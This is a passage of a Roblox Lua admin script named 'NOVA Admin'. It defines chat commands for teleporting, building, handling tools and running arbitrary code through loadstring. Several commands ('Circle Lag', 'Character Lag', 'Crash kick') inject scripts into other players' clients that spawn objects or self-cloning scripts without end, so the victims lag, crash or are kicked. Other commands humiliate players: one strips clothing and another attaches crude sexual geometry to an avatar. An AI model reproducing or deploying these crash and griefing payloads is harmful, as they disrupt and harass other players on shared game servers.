  4071. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4072. function(Msg,Speaker)
  4073. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4074. end
  4075. )
  4076.  
  4077. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4078. function(Msg,Speaker)
  4079. CreateLocalScript([[
  4080.  
  4081. LocalPlayer = game:GetService("Players").LocalPlayer
  4082. script.Parent = LocalPlayer
  4083. NOVA = {
  4084. Bet = "/";
  4085. Services = {
  4086. Workspace = game:GetService("Workspace");
  4087. Lighting = game:GetService("Lighting");
  4088. Debris = game:GetService("Debris");
  4089. Players = game:GetService("Players");
  4090. Teams = game:GetService("Teams");
  4091. SoundService = game:GetService("SoundService");
  4092. StarterGui = game:GetService("StarterGui");
  4093. StarterPack = game:GetService("StarterPack");
  4094. };
  4095.  
  4096. Camera = workspace.CurrentCamera;
  4097. LocalCharacter = Instance.new("Model");
  4098. LocalHead = Instance.new("Part");
  4099. LocalFire = Instance.new("Fire");
  4100. }
  4101. script.Name = NOVA.LocalPlayer.Name
  4102. script.Parent = nil
  4103. repeat wait() until NOVA.LocalPlayer.Parent == nil
  4104. game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4105. if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4106. game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4107.  
  4108. if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4109. game:GetService'TeleportService':Teleport(game.PlaceId)
  4110. end
  4111. if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4112. pcall(function()
  4113. newScript(Msg:sub(4),workspace)
  4114. end)
  4115. end
  4116. if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4117. coroutine.resume(coroutine.create(function()
  4118. pcall(function()
  4119. loadstring(Msg:sub(8))()
  4120. end)
  4121. end))
  4122. end
  4123. if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4124. LocalPlayer.Character = workspace
  4125. end
  4126. end
  4127. end)
  4128.  
  4129. NOVA.LocalPlayer.Character = nil
  4130. NOVA.LocalHead.FormFactor = "Custom"
  4131. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4132. NOVA.LocalHead.Reflectance = 1e+999
  4133. NOVA.LocalHead.Shape = "Ball"
  4134. NOVA.LocalHead.Anchored = true
  4135. NOVA.LocalHead.CanCollide = false
  4136. NOVA.LocalHead.Transparency = 0
  4137. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4138.  
  4139. NOVA.LocalFire.Color = Color3.new(0,0,0)
  4140. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4141. NOVA.LocalFire.Heat = 12
  4142. NOVA.LocalFire.Size = 7
  4143.  
  4144. while wait() do
  4145. pcall(function()
  4146. NOVA.LocalCharacter.Parent=workspace
  4147. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4148. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4149. NOVA.LocalFire.Parent = NOVA.LocalHead
  4150. end)
  4151. end
  4152. ]],Speaker.Backpack)
  4153. end
  4154. )
  4155.  
  4156.  
  4157. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4158. function(Msg,Speaker)
  4159. CreateScript(Msg,workspace)
  4160. end
  4161. )
  4162.  
  4163. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4164. function(Msg,Speaker)
  4165. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4166. CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4167. end
  4168. end
  4169. )
  4170.  
  4171. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4172. function(Msg,Speaker)
  4173. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4174. CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4175. end
  4176. end
  4177. )
  4178.  
  4179. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4180. function(Msg,Speaker)
  4181. CreateLocalScript(Msg,Speaker.Backpack)
  4182. end
  4183. )
  4184.  
  4185. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4186. function(Msg,Speaker)
  4187. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4188. pcall(function()
  4189. v.Transparency = 7.3015691270939e-002
  4190. end)
  4191. end
  4192. end
  4193. )
  4194.  
  4195. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4196. function(Msg,Speaker)
  4197. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4198. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4199. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4200. else
  4201. pcall(function()
  4202. CreateLocalScript([==[
  4203. LocalPlayer = game:GetService("Players").LocalPlayer
  4204. Camera = workspace.CurrentCamera
  4205. while wait() do
  4206. for i=1,10 do
  4207. Part = Instance.new("Seat",Camera)
  4208. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4209. Part.Shape = "Ball"
  4210. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4211. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4212. end
  4213. end
  4214. ]==],v.Backpack)
  4215. end)
  4216. end
  4217. end
  4218. end
  4219. )
  4220.  
  4221. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4222. function(Msg,Speaker)
  4223. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4224. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4225. end
  4226. end
  4227. )
  4228.  
  4229. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4230. function(Msg,Speaker)
  4231. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4232. for _,GUI in pairs(v.PlayerGui:children()) do
  4233. GUI:Clone().Parent = Speaker.PlayerGui
  4234. end
  4235. end
  4236. end
  4237. )
  4238.  
  4239. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4240. function(Msg,Speaker)
  4241. for _,v in pairs(NOVA.Targeted) do
  4242. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4243. if part:IsA("Part") then
  4244. coroutine.resume(coroutine.create(function()
  4245. local SB = Instance.new("SelectionBox",part)
  4246. SB.Name = "NOVA Target Selection Box"
  4247. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4248. SB.Adornee = part
  4249. wait(3)
  4250. SB:remove()
  4251. end))
  4252. end
  4253. end
  4254. end
  4255. end
  4256. )
  4257.  
  4258. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4259. function(Msg,Speaker)
  4260. if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4261. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4262. elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4263. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4264. elseif Msg == "see" then
  4265. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4266. end
  4267. end
  4268. )
  4269.  
  4270. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4271. function(Msg,Speaker)
  4272. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4273. local Char = v.Character
  4274. local Smite = Instance.new("Part",workspace)
  4275. Smite.FormFactor = "Custom"
  4276. Smite.TopSurface = "Smooth"
  4277. Smite.BottomSurface = "Smooth"
  4278. Smite.Anchored = true
  4279. Smite.Locked = true
  4280. Smite.Size = Vector3.new(25,3,25)
  4281. Smite.BrickColor = BrickColor.new("New Yeller")
  4282. Smite.Transparency = 1
  4283. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4284. for i=1,0,-0.05 do
  4285. wait()
  4286. Smite.Transparency = i
  4287. end
  4288. coroutine.resume(coroutine.create(function()
  4289. for i=0,1,0.05 do
  4290. wait()
  4291. Smite.Transparency = i
  4292. end
  4293. Smite:remove()
  4294. end))
  4295. wait()
  4296. local Expl = Instance.new("Explosion",workspace)
  4297. Expl.Position = Smite.Position
  4298. Expl.BlastPressure = 1000000000
  4299.  
  4300. for _,Part in pairs(GetRecursiveChildren(Char)) do
  4301. if Part:IsA("BasePart") then
  4302. coroutine.resume(coroutine.create(function()
  4303. for i=1,10 do
  4304. local Sparkles = Instance.new("Sparkles",Part)
  4305. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4306. local Fire = Instance.new("Fire",Part)
  4307. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4308. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4309. end
  4310. Part:BreakJoints()
  4311. local BP = Instance.new("BodyPosition",Part)
  4312. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4313. BP.P = 1000
  4314. BP.position = Part.Position + Vector3.new(
  4315. math.random(-100,100),
  4316. 100,
  4317. math.random(-100,100))
  4318. wait(3)
  4319. local Expl = Instance.new("Explosion",workspace)
  4320. Expl.Position = Part.Position
  4321. Expl.BlastPressure = 1000000000
  4322. end))
  4323. end
  4324. end
  4325. end
  4326. end
  4327. )
  4328. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4329. function(Msg,Speaker)
  4330. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4331. pcall(function()
  4332. v.Character.Pants:Remove()
  4333. v.Character.Shirt:Remove()
  4334. end)
  4335. end
  4336. end
  4337. )
  4338.  
  4339. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4340. function(Msg,Speaker)
  4341. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4342.  
  4343. v.Character.Humanoid.Changed:connect(function(val)
  4344. if val == "Health" then
  4345. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4346. end
  4347.  
  4348.  
  4349. end)
  4350. end
  4351. end
  4352. )
  4353.  
  4354.  
  4355. AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
  4356. function(Msg,Speaker)
  4357. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4358.  
  4359. RemoveTablets(v)
  4360.  
  4361. end
  4362. end
  4363. )
  4364. AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
  4365. function(Msg,Speaker)
  4366. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4367. pcall(function()
  4368. person=v.Name
  4369. local plr = Game.Players[person]
  4370. color = "Pastel brown"
  4371. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4372. end)
  4373. end
  4374. end
  4375. )
  4376. AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
  4377. function(Msg,Speaker)
  4378. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4379. pcall(function()
  4380. person=v.Name
  4381. local plr = Game.Players[person]
  4382. color = "Pastel brown"
  4383. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4384. D = Instance.new("Model",plr.Character)
  4385. D.Name = "Nice thing"
  4386. bg = Instance.new("BodyGyro",plr.Character.Torso)
  4387. d = Instance.new("Part")
  4388. d.TopSurface = 0
  4389. d.BottomSurface = 0
  4390. d.Name = "Main"
  4391. d.Parent = plr.Character["Nice thing"]
  4392. d.formFactor = 3
  4393. d.Size = Vector3.new(0.6,2.5,0.6)
  4394. d.BrickColor = BrickColor.new(color)
  4395. d.Position = plr.Character.Head.Position
  4396. d.CanCollide = false
  4397. local cy = Instance.new("CylinderMesh")
  4398. cy.Parent = d
  4399. w = Instance.new("Weld")
  4400. w.Parent = plr.Character.Head
  4401. w.Part0 = d
  4402. w.Part1 = plr.Character.Head
  4403. w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
  4404. local c = Instance.new("Part")
  4405. c.Name = "Mush"
  4406. c.BottomSurface = 0
  4407. c.TopSurface = 0
  4408. c.FormFactor = 3
  4409. c.Size = Vector3.new(0.6,0.6,0.6)
  4410. c.CFrame = CFrame.new(d.Position)
  4411. c.BrickColor = BrickColor.new("Pink")
  4412. c.CanCollide = false
  4413. c.Parent = plr.Character["Nice thing"]
  4414. local msm = Instance.new("SpecialMesh")
  4415. msm.Parent = c
  4416. msm.MeshType = "Sphere"
  4417. local cw = Instance.new("Weld")
  4418. cw.Parent = c
  4419. cw.Part0 = d
  4420. cw.Part1 = c
  4421. cw.C0 = CFrame.new(0,1.3,0)
  4422. local ball1 = Instance.new("Part")
  4423. ball1.Parent = plr.Character["Nice thing"]
  4424. ball1.Name = "Left Ball"
  4425. ball1.BottomSurface = 0
  4426. ball1.TopSurface = 0
  4427. ball1.CanCollide = false
  4428. ball1.formFactor = 3
  4429. ball1.Size = Vector3.new(1,1,1)
  4430. ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
  4431. ball1.BrickColor = BrickColor.new(color)
  4432. local bsm = Instance.new("SpecialMesh")
  4433. bsm.Parent = ball1
  4434. bsm.MeshType = "Sphere"
  4435. local b1w = Instance.new("Weld")
  4436. b1w.Parent = ball1
  4437. b1w.Part0 = plr.Character["Left Leg"]
  4438. b1w.Part1 = ball1
  4439. b1w.C0 = CFrame.new(0,0.5,-.5)
  4440. local ball2 = Instance.new("Part")
  4441. ball2.Parent = plr.Character["Nice thing"]
  4442. ball2.Name = "Right Ball"
  4443. ball2.BottomSurface = 0
  4444. ball2.CanCollide = false
  4445. ball2.TopSurface = 0
  4446. ball2.formFactor = 3
  4447. ball2.Size = Vector3.new(1,1,1)
  4448. ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
  4449. ball2.BrickColor = BrickColor.new(color)
  4450. local b2sm = Instance.new("SpecialMesh")
  4451. b2sm.Parent = ball2
  4452. b2sm.MeshType = "Sphere"
  4453. local b2w = Instance.new("Weld")
  4454. b2w.Parent = ball2
  4455. b2w.Part0 = plr.Character["Right Leg"]
  4456. b2w.Part1 = ball2
  4457. b2w.C0 = CFrame.new(0,0.5,-.5)
  4458. end)
  4459. end
  4460. end
  4461. )
  4462. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4463. function(Msg,Speaker)
  4464. NOVA.Bet = Msg
  4465. end
  4466. )
  4467. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4468. function(Msg,Speaker)
  4469. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4470.  
  4471. coroutine.resume(coroutine.create(function()
  4472. while wait() do
  4473. for i = 1, 100 do
  4474. if v:findFirstChild("PlayerGui") ~= nil then
  4475. local mes = Instance.new("Message", v.PlayerGui)
  4476. mes.Text = "Crashing"
  4477. local ex = Instance.new("Explosion", v.PlayerGui)
  4478. ex.BlastRadius = math.huge
  4479. local hint = Instance.new("Hint", v.PlayerGui)
  4480. hint.Text = "---------------------------------------------------------------------------"
  4481. local s = Instance.new("ScreenGui", v.PlayerGui)
  4482. local txt = Instance.new("TextBox", s)
  4483. txt.Size = UDim2.new(1, 0, 1, 0)
  4484. txt.Text = "Your Being Lagged"
  4485. txt.FontSize = "Size48"
  4486. end
  4487. end
  4488. end
  4489. end))
  4490. end
  4491. end
  4492. )
  4493. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4494. function(Msg,Speaker)
  4495. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4496. pcall(function()
  4497. v.Chatted:connect(function(Msg)
  4498. local m = Instance.new("Explosion",v.Character.Head)
  4499. m.Position = v.Character.Head.Position
  4500. end)
  4501. end)
  4502. end
  4503. end
  4504. )
  4505. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4506. function(Msg,Speaker)
  4507. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4508. pcall(function()
  4509. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4510. if Part:IsA("BasePart") then
  4511. for i=1,10 do
  4512. local Sparkles = Instance.new("Sparkles",Part)
  4513. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4514. local Fire = Instance.new("Fire",Part)
  4515. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4516. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4517. end
  4518. end
  4519. end
  4520. end)
  4521. end
  4522. end
  4523. )
  4524.  
  4525. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4526. function(Msg,Speaker)
  4527. if NOVA.ShowChat == true then
  4528. NOVA.ShowChat = false
  4529. elseif NOVA.ShowChat == false then
  4530. NOVA.ShowChat = true
  4531. end
  4532. end
  4533. )
  4534.  
  4535.  
  4536. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4537. function(Msg,Speaker)
  4538. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4539. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4540. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4541. else
  4542. pcall(function()
  4543. CreateLocalScript([[
  4544. script.Parent = workspace.CurrentCamera
  4545. while wait() do
  4546. coroutine.resume(coroutine.create(function()
  4547. for i=1,math.huge do
  4548. wait()
  4549. for i=1,10 do
  4550. NS = script:Clone()
  4551. NS.Disabled = true
  4552. NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4553. NS.Disabled = false
  4554. end
  4555. for i=1,10 do
  4556. game:GetService("Players").LocalPlayer.Character.Archivable = true
  4557. local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4558. Clone.Parent = workspace.CurrentCamera
  4559. end
  4560. end
  4561. end))
  4562. end]],
  4563. v.Backpack)
  4564. end)
  4565. end
  4566. end
  4567. end
  4568. )
  4569.  
  4570. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  4571. function(Msg,Speaker)
  4572. Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
  4573. end
  4574. )
  4575.  
  4576. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  4577. function(Msg,Speaker)
  4578. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4579. pcall(function()
  4580. v.Character.Humanoid.PlatformStand = true
  4581. end)
  4582. end
  4583. end
  4584. )
  4585.  
  4586. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  4587. function(Msg,Speaker)
  4588. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4589. pcall(function()
  4590. v.Character.Humanoid.PlatformStand = false
  4591. end)
  4592. end
  4593. end
  4594. )
  4595.  
  4596. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4597. function(Msg,Speaker)
  4598. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4599. pcall(function()
  4600. for _,Tool in pairs(v.Backpack:GetChildren()) do
  4601. Tool:Clone().Parent = Speaker.Backpack
  4602. end
  4603. end)
  4604. end
  4605. end
  4606. )
  4607.  
  4608. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4609. function(Msg,Speaker)
  4610. local Give = {}
  4611. for _,v in pairs(NOVA.Services.Lighting:children()) do
  4612. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4613. function()
  4614. table.insert(Give,v:Clone())
  4615. end
  4616. )
  4617. end
  4618. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4619. function()
  4620. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4621. for _,Tool in pairs(Give) do
  4622. Tool:Clone().Parent = v.Backpack
  4623. end
  4624. end
  4625. RemoveTablets(Speaker)
  4626. end
  4627. )
  4628. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4629. end
  4630. )
  4631.  
  4632. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4633. function(Msg,Speaker)
  4634. pcall(function()
  4635. for _,Tool in pairs(Speaker.Backpack:children()) do
  4636. Tool:Clone().Parent = NOVA.Services.Lighting
  4637. end
  4638. end)
  4639. end
  4640. )
  4641.  
  4642. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4643. function(Msg,Speaker)
  4644. Split = GetSplit(Msg)
  4645. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4646. if v:FindFirstChild("PlayerGui") ~= nil then
  4647. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4648. end
  4649. end
  4650. end
  4651. )
  4652.  
  4653. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4654. function(Msg,Speaker)
  4655. local Data = GetRankedTable(Speaker)
  4656. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4657. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4658. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4659. function()
  4660. RemoveTablets(Speaker)
  4661. OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4662. end
  4663. )
  4664. Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4665. Output("How to use commands.",Data.Color,Speaker,nil,
  4666. function()
  4667. RemoveTablets(Speaker)
  4668. Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
  4669. Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  4670. Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4671. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4672. end
  4673. )
  4674. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4675. end
  4676. )
  4677.  
  4678. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  4679. function(Msg,Speaker)
  4680. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4681. if v:IsA("Script") then
  4682. v.Disabled = true
  4683. v.Parent = NOVA.Services.Debris
  4684. v.Disabled = true
  4685. v:Destroy()
  4686. v.Parent = NOVA.Services.Debris
  4687. v.Disabled = true
  4688. v:Destroy()
  4689. end
  4690. end
  4691. end
  4692. )
  4693.  
  4694.  
  4695. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4696. function(Msg,Speaker)
  4697. pcall(function()
  4698. CreateLocalScript([[
  4699. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4700. ]],
  4701. Speaker.Backpack
  4702. )
  4703. end)
  4704. end
  4705. )
  4706.  
  4707. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4708. function(Msg,Speaker)
  4709. pcall(function()
  4710. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4711. end)
  4712. end
  4713. )
  4714. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4715. function(Msg,Speaker)
  4716. pcall(function()
  4717. NOVA.Sounds.Sound.Looped = Msg
  4718. end)
  4719. end
  4720. )
  4721. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4722. function(Msg,Speaker)
  4723. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4724. end
  4725. )
  4726. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4727. function(Msg,Speaker)
  4728. local Give = {}
  4729. for _,v in pairs(NOVA.Plugins) do
  4730. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4731. function()
  4732. table.insert(Give,v:Clone())
  4733. end
  4734. )
  4735. end
  4736. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4737. function()
  4738. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4739. for _,Tool in pairs(Give) do
  4740. New = Tool:Clone()
  4741. New.Parent = v.Backpack
  4742. pcall(function()
  4743. New.Disabled = false
  4744. end)
  4745. end
  4746. end
  4747. RemoveTablets(Speaker)
  4748. end
  4749. )
  4750. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4751. end
  4752. )
  4753. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4754. function(Msg,Speaker)
  4755. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4756. pcall(function()
  4757. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4758. part.Locked = true
  4759. end
  4760. end)
  4761. end
  4762. end
  4763. )
  4764. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4765. function(Msg,Speaker)
  4766. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4767. pcall(function()
  4768. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4769. part.Locked = false
  4770. end
  4771. end)
  4772. end
  4773. end
  4774. )
  4775. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4776. function(Msg,Speaker)
  4777. Split = GetSplit(Msg)
  4778. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4779. pcall(function()
  4780. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4781. end)
  4782. end
  4783. end
  4784. )
  4785. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4786. function(Msg,Speaker)
  4787. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4788. end
  4789. )
  4790. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4791. function(Msg,Speaker)
  4792. pcall(function()
  4793. Rtn = CFrame.new(
  4794. Speaker.Character.Torso.CFrame.x,
  4795. Speaker.Character.Torso.CFrame.y,
  4796. Speaker.Character.Torso.CFrame.z
  4797. )
  4798. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4799. end)
  4800. end
  4801. )
  4802. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4803. function(Msg,Speaker)
  4804. for _,v in pairs(NOVA.Waypoints) do
  4805. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4806. pcall(function()
  4807. RemoveTablets(Speaker)
  4808. Speaker.Character.Torso.CFrame = v.CFrame
  4809. end)
  4810. end)
  4811. end
  4812. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4813. end
  4814. )
  4815. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4816. function(Msg,Speaker)
  4817. Rtn = {}
  4818. for num,v in pairs(NOVA.Waypoints) do
  4819. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4820. table.insert(Rtn,num)
  4821. end)
  4822. end
  4823. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4824. RemoveTablets(Speaker)
  4825. for _,v in pairs(Rtn) do
  4826. table.remove(NOVA.Waypoints,v)
  4827. end
  4828. end)
  4829. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4830. end
  4831. )
  4832. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4833. function(Msg,Speaker)
  4834. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4835. pcall(function()
  4836. for i=0,3 do
  4837. Instance.new("HopperBin",v.Backpack).BinType = i
  4838. end
  4839. end)
  4840. end
  4841. end
  4842. )
  4843. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4844. function(Msg,Speaker)
  4845. local MainColor = Color3.new(0,0,0)
  4846. local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4847. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4848. local MainCFrame = Speaker.Character.Torso.CFrame
  4849. * CFrame.new(0,-4,0)
  4850. + Speaker.Character.Torso.CFrame.lookVector*3
  4851. local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4852. * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4853. + Speaker.Character.Torso.CFrame.lookVector*3
  4854. if CFrame == nil then return end
  4855. coroutine.resume(coroutine.create(function()
  4856.  
  4857. for i=1,25 do
  4858. wait()
  4859. local Step = Instance.new("Part",Main)
  4860. Step.FormFactor = "Custom"
  4861. Step.Name = "Step"
  4862. Step.Anchored = true
  4863. Step.Locked = true
  4864. Step.Reflectance = 0
  4865. Step.TopSurface = "Smooth"
  4866. Step.BottomSurface = "Smooth"
  4867. Step.BrickColor = BrickColor.new(SeccondaryColor)
  4868. Step.Size = Vector3.new(6,1,3)
